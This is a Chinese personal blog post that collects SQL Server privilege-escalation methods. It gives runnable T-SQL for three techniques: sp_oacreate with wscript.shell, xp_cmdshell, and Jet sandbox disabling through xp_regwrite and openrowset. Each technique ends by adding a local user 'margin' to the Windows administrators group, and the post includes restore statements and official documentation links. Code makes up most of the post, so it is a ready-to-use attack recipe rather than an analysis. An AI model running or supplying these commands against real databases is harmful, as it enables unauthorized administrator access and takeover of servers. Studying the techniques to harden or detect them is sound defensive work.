刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

SQL Server提权方法汇总(MSSQL)

使用sp_oacreate进行提权

--提权语句--sp_configure的作用是显示或更改当前服务器的全局配置设置,执行成功返回0,失败返回1

EXEC sp_configure 'show advanced options'1

--使前面的配置生效RECONFIGURE; 

EXEC sp_configure 'Ole Automation Procedures'1

RECONFIGURE; 

declare @shell int

--使用sp_oacreate调用wscript.shell组件,将返回的对象存储到@shell变量中。 

exec sp_oacreate 'wscript.shell',@shell output

--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令,null是run方法的返回值,我们不需要用返回值,所以写null. 

exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user margin margin /add'

exec sp_oacreate 'wscript.shell',@shell output

--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令 

exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators margin /add'

--恢复语句EXEC 

sp_configure 'Ole Automation Procedures'0;

RECONFIGURE;

EXEC sp_configure 'show advanced options'0

RECONFIGURE;

以上是使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。在oacreate的官方文档里明确指出了,如果要使用OLE对象,必须要开启 'Ole Automation Procedures',也就是EXEC sp_configure 'Ole Automation Procedures'1;执行这条语句前要执行EXEC sp_configure 'show advanced options'1官方对这句话的解释是:show advanced options,“显示高级选项”选项用来显示 sp_configure 系统存储过程高级选项。 当“显示高级选项” 设置为 1 时,可以使用 sp_configure 列出高级选项。 默认值为 0。

使用xp_cmdshell进行提权

--提权语句

exec sp_configure 'show advanced options', 1;reconfigure; 

exec sp_configure 'xp_cmdshell',1;reconfigure; --开启CMDshell

-- master..xp_cmdshell的全写是master.dbo.xp_cmdshell

exec master..xp_cmdshell 'net user margin margin /add'; 

exec master..xp_cmdshell 'net localgroup administrators margin /add';

--恢复语句EXEC 

sp_configure 'show advanced options'0

RECONFIGURE;

使用沙盒进行提权

--提权语句

exec sp_configure 'show advanced options',1;reconfigure; 

-- 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure; 

--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; 

--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode

--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') 

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

沙盒模式SandBoxMode参数含义(默认是2)

`0`:在任何所有者中禁止启用安全模式

`1` :为仅在允许范围内

`2` :必须在access模式下

`3`:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

--恢复配置

--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; 

--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure; 

--exec sp_configure 'show advanced options',0;reconfigure;

SQL Server官方参考文档

sp_configure的官方文档:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-configure-transact-sql?view=sql-server-2017

sp_oacreate的官方文档:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql?view=sql-server-2017

sp_oamethod的官方文档:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-oamethod-transact-sql?view=sql-server-2017

openrowset的官方文档:https://docs.microsoft.com/zh-cn/sql/t-sql/functions/openrowset-transact-sql?view=sql-server-2017

ole db的官方文档:https://docs.microsoft.com/zh-cn/sql/connect/oledb/ole-db/oledb-driver-for-sql-server-programming?view=sql-server-2017


发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.